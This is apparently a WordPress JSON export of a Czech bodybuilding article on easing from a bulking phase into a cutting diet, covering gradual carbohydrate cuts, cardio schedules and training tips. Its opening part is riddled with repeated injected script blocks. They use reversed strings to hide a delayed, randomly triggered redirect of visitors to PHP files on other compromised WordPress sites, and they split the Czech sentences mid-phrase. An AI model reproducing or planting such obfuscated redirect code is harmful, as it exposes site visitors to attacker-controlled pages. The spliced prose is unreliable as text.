$NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to sv\u00fdm zp\u016fsobem smysl. Vyu\u017e\u00edvaj\u00ed dobu, kdy m\u00e1 t\u011blo dostatek energie a je schopno dob\u0159e regenerovat. Jestli jste b\u011bhem zimy tak<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to necvi\u010dili, nic se ned\u011bje, postupn\u011b vyu\u017e\u00edvejte ty<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to techniky nyn\u00ed v\u00a0p\u0159echodov\u00e9m obdob\u00ed, b\u011bhem n\u011bho\u017e st\u00e1le je\u0161t\u011b nejste v\u00a0kalorick\u00e9m deficitu. Posl\u00e9ze <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e s\u00a0\u00fabytkem energie a n\u00e1stupem \u00fanavy m\u016f\u017eete od t\u011bch<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to technik upou\u0161t\u011bt a sm\u011b\u0159ovat ke klasick\u00fdm s\u00e9ri\u00edm. V\u00a0t\u00e9 dob\u011b sou\u010dasn\u011b nav\u00fd\u0161\u00edte frekvenci kardio tr\u00e9nink\u016f, uberete v\u00a0j\u00eddeln\u00ed\u010dku sacharidy a upravenou n\u00e1ro\u010dnost posilovac\u00edho tr\u00e9ninku bezpochyby uv\u00edt\u00e1te. V\u017edy mus\u00edte na r\u00fdsovac\u00ed f\u00e1zi nahl\u00ed\u017eet jako na celek, kontrolovat v\u00fddej energie a zohlednit mno\u017estv\u00ed energie p\u0159ijat\u00e9.<\/p>\n<p>Ka\u017edop\u00e1dn\u011b u\u017e nyn\u00ed vid\u00edte, \u017ee nen\u00ed nutn\u00e9 ani vhodn\u00e9 sko\u010dit do r\u00fdsovac\u00ed f\u00e1ze rovn\u00fdma nohama ze dne na den. Ke svoj\u00ed letn\u00ed form\u011b se m\u016f\u017eete propracovat postupn\u011b, vytvo\u0159it podm\u00ednky pro udr\u017een\u00ed st\u00e1vaj\u00edc\u00ed svalov\u00e9 hmoty a sou\u010dasn\u011b br\u00e1t ohled tak\u00e9 svoje zdrav\u00ed a fungov\u00e1n\u00ed cel\u00e9ho organismu.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Fotografie Ale\u0161e Bursy, Pavla Koukala a Adama Wellarta z d\u00edlny Josefa Adlta. &nbsp; OP\u011aT JE TADY DOBA, kdy se budeme lou\u010dit s\u00a0nevl\u00eddnou, \u0161edivou zimou, sledovat, jak se p\u0159\u00edroda probouz\u00ed, odhazovat vrstvy zimn\u00edho oble\u010den\u00ed a pod nimi objevovat v\u00fdsledky sv\u00fdch zimn\u00edch tr\u00e9nink\u016f, v\u00a0tomto p\u0159\u00edpad\u011b zna\u010dn\u011b ovlivn\u011bn\u00fdch koronavirovou situac\u00ed. \u0158adu p\u0159\u00edznivc\u016f posilov\u00e1n\u00ed \u010dek\u00e1 p\u0159echod od klasicky objemov\u00e9ho tr\u00e9ninkov\u00e9ho programu k\u00a0r\u00fdsovac\u00edmu. A\u0165 u\u017e v\u00a0r\u00e1mci p\u0159\u00edpravy na sout\u011b\u017e (dr\u017eme si v\u0161ichni palce, aby se sout\u011b\u017ee v\u00a0leto\u0161n\u00edm roce konaly dle p\u016fvodn\u00edho pl\u00e1nu) nebo kv\u016fli nadch\u00e1zej\u00edc\u00ed pl\u00e1\u017eov\u00e9 sez\u00f3n\u011b. Pravdou z\u016fst\u00e1v\u00e1, \u017ee nen\u00ed nikdy dobr\u00e9 jeden den odjet objemov\u00fd tr\u00e9nink a ten druh\u00fd radik\u00e1ln\u011b nasadit r\u00fdsov\u00e1n\u00ed. Pro t\u011blo takov\u00fd p\u0159echod znamen\u00e1 drastickou zm\u011bnu, na kterou nebude fyzicky ani ment\u00e1ln\u011b reagovat dob\u0159e. D\u00e1v\u00e1 smysl se aklimatizovat postupn\u011b. Konec konc\u016f \u0159ada z\u00a0v\u00e1s si b\u011bhem zimy na kardio tr\u00e9nink ani nevzpomn\u011bla, striktn\u00ed j\u00eddeln\u00ed\u010dek jste, \u010dasto na n\u011bkolik m\u011bs\u00edc\u016f, opustili, tak\u017ee sko\u010dit rovn\u00fdma nohama do tvrd\u00e9ho re\u017eimu nen\u00ed \u00fapln\u011b \u017e\u00e1douc\u00ed. Porad\u00edme v\u00e1m, jak tenhle p\u0159echod zvl\u00e1dnout plynule a efektivn\u011b. M\u00edsto z\u00e1sadn\u00edch kalorick\u00fdch \u0161krt\u016f se budete je\u0161t\u011b n\u011bkolik t\u00fddn\u016f dr\u017eet s\u00a0kalorick\u00fdm p\u0159\u00edjmem o n\u011bco v\u00fd\u0161, co\u017e zajist\u00ed ochranu svalov\u00e9 hmoty. Sou\u010dasn\u011b v\u00e1m p\u0159echodov\u00e1 f\u00e1ze zajist\u00ed dobrou psychologickou i fyzickou adaptaci a a\u017e n\u00e1sledn\u011b p\u0159itvrd\u00edte, budete m\u00edt jistotu, \u017ee je t\u011blo na n\u00e1ro\u010dn\u00fd r\u00fdsovac\u00ed tr\u00e9nink i dietu dostate\u010dn\u011b p\u0159ipraven\u00e9. S\u00a0kardio aktivitami za\u010dnete postupn\u011b, co\u017e va\u0161e kolena i kotn\u00edky bezpochyby ocen\u00ed. &nbsp; JARN\u00cd \u00daKLID V\u00a0J\u00cdDELN\u00cd\u010cKU Asi si nemus\u00edme nic nalh\u00e1vat \u2013 p\u0159es zimu jste docela ur\u010dit\u011b kapku polevili. Minim\u00e1ln\u011b obdob\u00ed V\u00e1noc b\u00fdv\u00e1 v\u00a0tomto sm\u011bru v\u00edce ne\u017e rizikov\u00e9. N\u011bkoho v\u00edc l\u00e1kaj\u00ed vanilkov\u00e9 rohl\u00ed\u010dky, jin\u00fd podl\u00e9h\u00e1 bramborov\u00e9mu sal\u00e1tu, kalorick\u00e9 kalkula\u010dky z\u016fst\u00e1vaj\u00ed opomenuty, proto\u017ee by uk\u00e1zaly alarmuj\u00edc\u00ed \u010d\u00edsla. Jedno je ale jist\u00e9 \u2013 ve v\u011bt\u0161in\u011b p\u0159\u00edpad\u016f v\u00e1s n\u011bco takov\u00e9ho neohroz\u00ed. Kr\u00e1tkodob\u011b nen\u00ed v\u016fbec na \u0161kodu si trochu dop\u0159\u00e1t, vypadnout ze zajet\u00fdch kolej\u00ed a organismus kapku \u0161okovat. Kdy\u017e nav\u00edc uv\u00e1\u017e\u00edte, \u017ee m\u00e1me za sebou podzim a zimu ve znamen\u00ed koronavirov\u00fdch opat\u0159en\u00ed, zav\u0159en\u00fdch fitness center a naprosto nedosta\u010duj\u00edc\u00edch podm\u00ednek ke kvalitn\u00edmu tr\u00e9ninku, za takov\u00fdch okolnost\u00ed by gau\u010di, sledov\u00e1n\u00ed obl\u00edben\u00fdch seri\u00e1l\u016f a konzumaci kalorick\u00fdch pochoutek odolal m\u00e1lokdo. Novoro\u010dn\u00ed p\u0159edsevzet\u00ed byla jist\u011b pov\u011bt\u0161inou spojena s\u00a0p\u0159\u00e1n\u00edm, aby se sv\u011bt co nejd\u0159\u00edve vr\u00e1til do \u201estar\u00fdch kolej\u00ed\u201c. Prvn\u00ed t\u00fddny nov\u00e9ho roku se ale v\u00a0tomto sm\u011bru nevyv\u00edjely v\u016fbec slibn\u011b. Jestli tomu odpov\u00eddalo i va\u0161e tr\u00e9ninkov\u00e9 a stravovac\u00ed nasazen\u00ed, nic si nevy\u010d\u00edtejte. Zkuste s\u00a0n\u00e1mi zvl\u00e1dnout n\u00e1sleduj\u00edc\u00ed dva m\u011bs\u00edce s\u00a0c\u00edlem p\u0159ipravit se na jarn\u00ed a letn\u00ed sez\u00f3nu co nejl\u00e9pe. Jestli pot\u0159ebujete inspiraci v\u00a0kuchyni, nalistujte si recepty na stran\u011b 68. &nbsp; Jak postupn\u011b upravit j\u00eddeln\u00ed\u010dek \u2013 2. T\u00ddDEN Ve\u010dern\u00ed j\u00eddlo upravte tak, aby neobsahovalo komplexn\u00ed sacharidy. \u201eNesportovn\u00ed\u201c pokrmy si dovolte maxim\u00e1ln\u011b \u010dty\u0159ikr\u00e1t do t\u00fddne. Co si pod t\u00edmto pojmem p\u0159edstavit? V\u00a0podstat\u011b jakoukoliv porci, kdy nehl\u00edd\u00e1te slo\u017een\u00ed a mno\u017estv\u00ed. Omezte mno\u017estv\u00ed konzumovan\u00e9ho pe\u010diva a tu\u010dn\u00fdch ml\u00e9\u010dn\u00fdch v\u00fdrobk\u016f zhruba o t\u0159etinu v\u00a0porovn\u00e1n\u00ed se zimn\u00edm obdob\u00edm. &nbsp; T\u00ddDEN Nesportovn\u00ed pokrmy m\u00e1te mo\u017enost za\u0159adit jen t\u0159i do t\u00fddne. &nbsp; \u2013 6. T\u00ddDEN Posledn\u00ed dv\u011b porce dne upravte tak, aby neobsahovaly komplexn\u00ed sacharidy. Omezte mno\u017estv\u00ed konzumovan\u00e9ho pe\u010diva a tu\u010dn\u00fdch ml\u00e9\u010dn\u00fdch v\u00fdrobk\u016f o polovinu v\u00a0porovn\u00e1n\u00ed se zimn\u00edm obdob\u00edm. &nbsp; 7.T\u00ddDEN Nesportovn\u00ed pokrmy za\u0159azujte maxim\u00e1ln\u011b dvakr\u00e1t t\u00fddn\u011b. Omezte mno\u017estv\u00ed konzumovan\u00e9ho pe\u010diva a tu\u010dn\u00fdch ml\u00e9\u010dn\u00fdch v\u00fdrobk\u016f na t\u0159etinu toho, co jste jedli b\u011bhem zimy. &nbsp; T\u00ddDEN V\u00a0pr\u016fb\u011bhu tohoto t\u00fddne m\u00e1te st\u00e1le povoleny dva nesportovn\u00ed pokrmy. Posledn\u00ed t\u0159i porce dne upravte tak, aby neobsahovaly komplexn\u00ed sacharidy. Ide\u00e1ln\u011b by dv\u011b porce obsahuj\u00edc\u00ed sacharidy m\u011bly vych\u00e1zet na dobu p\u0159ed a po tr\u00e9ninku. Pe\u010divo a tu\u010dn\u00e9 ml\u00e9\u010dn\u00e9 v\u00fdrobky bu\u010f z\u00a0j\u00eddeln\u00ed\u010dku zcela vy\u0159a\u010fte nebo omezte na dv\u011b porce t\u00fddn\u011b. &nbsp; Jakmile projdete touto dvoum\u011bs\u00ed\u010dn\u00ed f\u00e1z\u00ed ofici\u00e1ln\u011b pro v\u00e1s za\u010d\u00edn\u00e1 r\u00fdsovac\u00ed dieta. Pak byste m\u011bli komplexn\u00ed sacharidy p\u0159id\u00e1vat maxim\u00e1ln\u011b ke t\u0159em porc\u00edm j\u00eddla denn\u011b, i kdy\u017e je to samoz\u0159ejm\u011b jen velmi obecn\u00e9 doporu\u010den\u00ed a m\u011bli byste se \u0159\u00eddit reakcemi sv\u00e9ho t\u011bla. Jsou sportovci, kte\u0159\u00ed kvalitn\u011b vyr\u00fdsuj\u00ed, i kdy\u017e konzumuj\u00ed pom\u011brn\u011b dost komplexn\u00edch sacharid\u016f, zat\u00edmco jin\u00ed mus\u00ed jejich mno\u017estv\u00ed drasticky omezit. St\u00e1le plat\u00ed, \u017ee t\u011blo tyto \u017eiviny nejl\u00e9pe zpracuje v\u00a0dob\u011b p\u0159ed a po tr\u00e9ninku. Hodn\u011b z\u00e1le\u017e\u00ed na tom, kdy cvi\u010d\u00edte. Pokud ve\u010der, nevyhnete se tomu, abyste konzumovali sacharidy ve ve\u010dern\u00edch hodin\u00e1ch. Ti, co cvi\u010d\u00ed dopoledne nebo po ob\u011bd\u011b, mohou dodr\u017eet pravidlo eliminace sacharid\u016f v\u00a0posledn\u00edch porc\u00edch dan\u00e9ho dne. V\u00a0pr\u016fb\u011bhu r\u00fdsovac\u00edho j\u00eddeln\u00ed\u010dku plat\u00ed, \u017ee byste m\u011bli vysta\u010dit jen s\u00a0jednou porc\u00ed nesportovn\u00edho (v tuto chv\u00edli u\u017e \u201enedietn\u00edho\u201c) j\u00eddla t\u00fddn\u011b. Pe\u010divo a tu\u010dn\u00e9 ml\u00e9\u010dn\u00e9 v\u00fdrobky u\u017e v\u00a0rozpise j\u00eddeln\u00ed\u010dku svoje m\u00edsto nemaj\u00ed. &nbsp; N\u00c1VRAT KE KARDIO AKTIVIT\u00c1M Nen\u00ed mnoho silov\u00fdch sportovc\u016f, kte\u0159\u00ed by se vy\u017e\u00edvali v\u00a0aerobn\u00edch aktivit\u00e1ch a na kardio tr\u00e9ninky se t\u011b\u0161ili. Jen\u017ee pro udr\u017een\u00ed dobr\u00e9 kondice je to \u2013 stejn\u011b jako pro efektivn\u00ed spalov\u00e1n\u00ed tuk\u016f \u2013 zcela nezbytn\u00e9. Pokud pat\u0159\u00edte ke kulturist\u016fm, kte\u0159\u00ed s\u00a0n\u00e1stupem objemov\u00e9 f\u00e1ze, naprosto vypust\u00ed jak\u00e9koliv kardio, je pro v\u00e1s postupn\u00fd n\u00e1vrat o to d\u016fle\u017eit\u011bj\u0161\u00ed. Nem\u016f\u017eete z\u00a0nuly nasko\u010dit na hodinov\u00e9 tr\u00e9ninky. T\u00edm by se pohybov\u00fd apar\u00e1t nebezpe\u010dn\u011b p\u0159et\u00ed\u017eil. Mo\u017en\u00e1 byste to ust\u00e1li ve dvaceti, ale jestli tohle obdob\u00ed \u017eivota m\u00e1te u\u017e n\u011bjakou dobu za sebou, ur\u010dit\u011b je v\u00e1m jasn\u00e9, \u017ee se sv\u00fdm t\u011blem mus\u00edte n\u00e1le\u017eit\u011b zach\u00e1zet, aby v\u00e1m dob\u0159e slou\u017eilo je\u0161t\u011b dlouh\u00e9 roky. Asi se mezi v\u00e1mi najdou \u0161\u0165astlivci, jejich\u017e metabolismus zajist\u00ed n\u00edzkou hladinu tuk\u016f v\u00a0t\u011ble i bez vy\u010derp\u00e1vaj\u00edc\u00edch aerobn\u00edch tr\u00e9nink\u016f, ale v\u011bt\u0161ina z\u00a0v\u00e1s se bez t\u0159i dvacetiminutov\u00fdch tr\u00e9nink\u016f t\u00fddn\u011b nejsp\u00ed\u0161 neobejde. A nebude m\u00e1lo t\u011bch, co budou muset je\u0161t\u011b p\u0159itvrdit. &nbsp; \u2013 2. T\u00ddDEN 3 x 20 minut p\u0159i st\u0159edn\u011b vysok\u00e9 intenzit\u011b V\u00a0prvn\u00edch dvou t\u00fddnech za\u0159azujte v\u017edy t\u0159i dvacetiminutov\u00e9 aerobn\u00ed tr\u00e9ninky p\u0159i st\u0159edn\u00ed intenzit\u011b. To znamen\u00e1, \u017ee by va\u0161e nasazen\u00ed nem\u011blo b\u00fdt takov\u00e9, abyste b\u011bhem aktivity chatovali s\u00a0kamar\u00e1dy na mobilu, ale sou\u010dasn\u011b byste nem\u011bli lapat po dechu. Ide\u00e1ln\u00ed by bylo, kdybyste se b\u011bhem t\u00e9to doby lehce zapotili. Z\u00e1le\u017e\u00ed jen na v\u00e1s, jestli v\u00a0tuto chv\u00edli za\u0159ad\u00edte aerobn\u00ed tr\u00e9ninky v\u00a0n\u00e1vaznosti na posilovac\u00ed nebo zcela zvl\u00e1\u0161\u0165. Konec konc\u016f ani odborn\u00edci se doposud jednozna\u010dn\u011b nedohodli, jestli je p\u0159\u00ednosn\u011bj\u0161\u00ed nav\u00e1zat aerobn\u00ed aktivitou na posilovac\u00ed tr\u00e9nink nebo ponechat kardio jako naprosto samostatnou cvi\u010debn\u00ed jednotku. V\u00a0tomto sm\u011bru jsou zku\u0161enosti sportovc\u016f vysloven\u011b individu\u00e1ln\u00ed a samoz\u0159ejm\u011b je t\u0159eba v\u017edycky pracovat tak\u00e9 s\u00a0\u010dasov\u00fdmi mo\u017enosti jednotlivc\u016f. V\u00a0p\u0159\u00edpad\u011b, \u017ee byste posilovac\u00ed a aerobn\u00ed tr\u00e9nink nav\u00e1zali na sebe, m\u011bjte na pam\u011bti, \u017ee potr\u00e9ninkov\u00fd koktejl s\u00a0obsahem protein\u016f a sacharid\u016f za\u0159ad\u00edte a\u017e po \u00fapln\u00e9m skon\u010den\u00ed v\u0161ech fyzick\u00fdch aktivit. Hodn\u011b se diskutuje o tom, jestli je p\u0159\u00ednosem aerobn\u00ed aktivita r\u00e1no nala\u010dno. A op\u011bt plat\u00ed, \u017ee mus\u00edte sami na sob\u011b vyzkou\u0161et, jestli pro v\u00e1s d\u00e1v\u00e1 smysl p\u0159ed tr\u00e9ninkem nesn\u00eddat. V\u011bt\u0161ina sportovc\u016f se shoduje na tom, \u017ee je pro n\u011b p\u0159\u00edjemn\u011bj\u0161\u00ed a co se t\u00fd\u010de v\u00fdsledk\u016f zcela posta\u010duj\u00edc\u00ed, kdy\u017e se p\u0159ed rann\u00edm tr\u00e9ninkem zdrav\u011b nasn\u00eddaj\u00ed. V\u011bt\u0161inou sta\u010d\u00ed, kdy\u017e takovou sn\u00eddan\u00ed postav\u00edte sp\u00ed\u0161e na b\u00edlkovin\u00e1ch a uberete sacharidy. Kdo m\u00e1 hodn\u011b rychl\u00fd metabolismus, ten se v\u0161ak nemus\u00ed b\u00e1t ani d\u00e1vky sacharid\u016f, jen by si m\u011bl vyzkou\u0161et, jestli mu po vydatn\u00e9 sn\u00eddani nebude b\u011bhem pohybu t\u011b\u017eko. &nbsp; 3.\u2013 5. T\u00ddDEN 4 x 20 minut p\u0159i st\u0159edn\u011b vysok\u00e9 intenzit\u011b V\u00a0t\u00e9to f\u00e1zi jeden aerobn\u00ed tr\u00e9nink t\u00fddn\u011b p\u0159id\u00e1te. Doba cvi\u010den\u00ed z\u016fstane stejn\u00e1. Mo\u017en\u00e1 se to n\u011bkter\u00fdm z\u00a0v\u00e1s nebude moc l\u00edbit, ale zkuste vymyslet n\u011bjak\u00fd ten zlep\u0161ov\u00e1\u010dek, abyste se na aerobn\u00ed aktivity v\u00edc t\u011b\u0161ili. N\u011bkdy posta\u010d\u00ed dob\u0159e sestaven\u00fd playlist, chytlav\u00e1 hudba v\u00e1s povzbud\u00ed. P\u0159\u00edpadn\u011b vyzkou\u0161ejte n\u011bjak\u00fd ten motiva\u010dn\u00ed podcast a samoz\u0159ejm\u011b hledejte takov\u00e9 aktivity, kter\u00e9 v\u00e1s budou aspo\u0148 trochu bavit. &nbsp; 6.\u2013 8. T\u00ddDEN 4 x 30 minut p\u0159i st\u0159edn\u011b vysok\u00e9 intenzit\u011b Posledn\u00ed t\u0159i t\u00fddny t\u00e9to p\u0159\u00edpravn\u00e9 f\u00e1ze ponech\u00e1te frekvenci kardio tr\u00e9ninku, ale prodlou\u017e\u00edte d\u00e9lku trv\u00e1n\u00ed z\u00a020 na 30 minut. T\u00edm se dostanete na celkem dv\u011b hodiny t\u00fddn\u011b. A to u\u017e by m\u011blo sta\u010dit k\u00a0tomu, abyste \u00fasp\u011b\u0161n\u011b odbour\u00e1vali po zim\u011b nast\u0159\u00e1dan\u00e9 tukov\u00e9 rezervy. Uvid\u00edte, \u017ee tuk na va\u0161em t\u011ble bude t\u00e1t stejn\u011b jako sn\u00edh na horsk\u00fdch masivech. &nbsp; 3 DOBR\u00c9 RADY, NE\u017d ODSTARTUJETE R\u00ddSOVAC\u00cd F\u00c1ZI P\u0158ESTA\u0147TE SI KUPOVAT NEZDRAV\u00c9 POTRAVINY Kdy\u017e na v\u00e1s ve sp\u00ed\u017ei \u010dekaj\u00ed nejr\u016fzn\u011bj\u0161\u00ed zak\u00e1zan\u00e9 pochoutky, nen\u00ed rozhodn\u011b snadn\u00e9 odolat. Vy byste ov\u0161em nad svou ledni\u010dkou i spi\u017e\u00edrnou m\u011bli m\u00edt naprostou kontrolu. A tomu napom\u016f\u017ee, kdy\u017e na v\u00e1s z\u00a0polic vykouknou v\u00fdhradn\u011b zdrav\u00e9 potraviny \u2013 ovoce, zelenina, libov\u00e9 maso, ryby atd. B\u011bhem nakupov\u00e1n\u00ed se uli\u010dk\u00e1m s\u00a0nedietn\u00edmi produkty rad\u011bji vyh\u00fdbejte. Mohlo by to pro v\u00e1s p\u0159edstavovat zbyte\u010dn\u00e9 poku\u0161en\u00ed. P\u0158IPRAVUJTE SI J\u00cdDLO P\u0158EDEM Je v\u017edycky snaz\u0161\u00ed dodr\u017eovat z\u00e1sady zdrav\u00e9ho stravov\u00e1n\u00ed, pokud m\u00e1te jednotliv\u00e9 porce p\u0159ipraven\u00e9 dop\u0159edu a sta\u010d\u00ed jen j\u00eddlo oh\u0159\u00e1t. Hodn\u011b sportovc\u016f se k\u00a0systematick\u00e9 p\u0159\u00edprav\u011b \u201ekrabi\u010dek\u201c uchyluje sp\u00ed\u0161e a\u017e ke konci p\u0159\u00edpravy, ale nejl\u00e9pe ud\u011bl\u00e1te, kdy\u017e s\u00a0t\u00edm za\u010dnete hned. Vyhra\u010fte si jeden den v\u00a0t\u00fddnu, kter\u00fd v\u011bnujete p\u0159\u00edprav\u011b z\u00e1kladn\u00edch j\u00eddel \u2013 ugrilujete nebo podus\u00edte ku\u0159ec\u00ed maso, p\u0159iprav\u00edte kuli\u010dky z\u00a0mlet\u00e9ho kr\u016ft\u00edho \u010di hov\u011bz\u00edho atd. Bylo by samoz\u0159ejm\u011b ide\u00e1ln\u00ed m\u00edt st\u00e1le k\u00a0dispozici \u010derstv\u011b p\u0159ipraven\u00e9 pokrmy, ale to v\u011bt\u0161inou nen\u00ed v\u00a0sil\u00e1ch nikoho z\u00a0n\u00e1s. A pak je rozhodn\u011b lep\u0161\u00ed oh\u0159\u00e1t\u00fd zdrav\u00fd pokrm, ne\u017e \u201e\u010derstv\u00fd\u201c fast food. DEJTE SI PAUZU OD SOCI\u00c1LN\u00cdCH S\u00cdT\u00cd Pokud si neust\u00e1le st\u011b\u017eujete na nedostatek \u010dasu, najd\u011bte si ve sv\u00e9m chytr\u00e9m telefonu statistiky a pod\u00edvejte se, kolik \u010dasu tr\u00e1v\u00edte na soci\u00e1ln\u00edch s\u00edt\u00edch. Mo\u017en\u00e1 v\u00e1s to zasko\u010d\u00ed. Ka\u017edop\u00e1dn\u011b, kdy\u017e omez\u00edte tyhle aktivity, zbude v\u00e1m v\u00edce \u010dasu na smysluplnou p\u0159\u00edpravu (a\u0165 u\u017e v\u00a0kuchyni \u010di ve fitku). Absolutn\u011b nep\u0159\u00edpustn\u00e9 pak je, abyste na b\u011b\u017e\u00edc\u00edm p\u00e1se dr\u017eeli v\u00a0jedn\u00e9 ruce mobil a sledovali, co je nov\u00e9ho na Instagramu, vy\u0159izovali maily a psali textovky. Tr\u00e9ninkov\u00e9 aktivity vy\u017eaduj\u00ed va\u0161i plnou pozornost! POSILOVAC\u00cd TR\u00c9NINK Nyn\u00ed, kdy\u017e jsme probrali, jak zvl\u00e1dnout p\u0159echodovou f\u00e1zi ohledn\u011b j\u00eddeln\u00ed\u010dku i kardio aktivit, zb\u00fdv\u00e1 posilovac\u00ed tr\u00e9nink. Co byste m\u011bli zm\u011bnit a jak rychle? Z\u00e1le\u017e\u00ed samoz\u0159ejm\u011b na tom, jak vypad\u00e1 v\u00e1\u0161 tr\u00e9nink v\u00a0mimosout\u011b\u017en\u00edm\/objemov\u00e9m obdob\u00ed. Jsou sportovci, kte\u0159\u00ed si i v\u00a0t\u00e9to f\u00e1zi potrp\u00ed na techniky zvy\u0161uj\u00edc\u00ed intenzitu cvi\u010den\u00ed (drop s\u00e9rie, supers\u00e9rie, 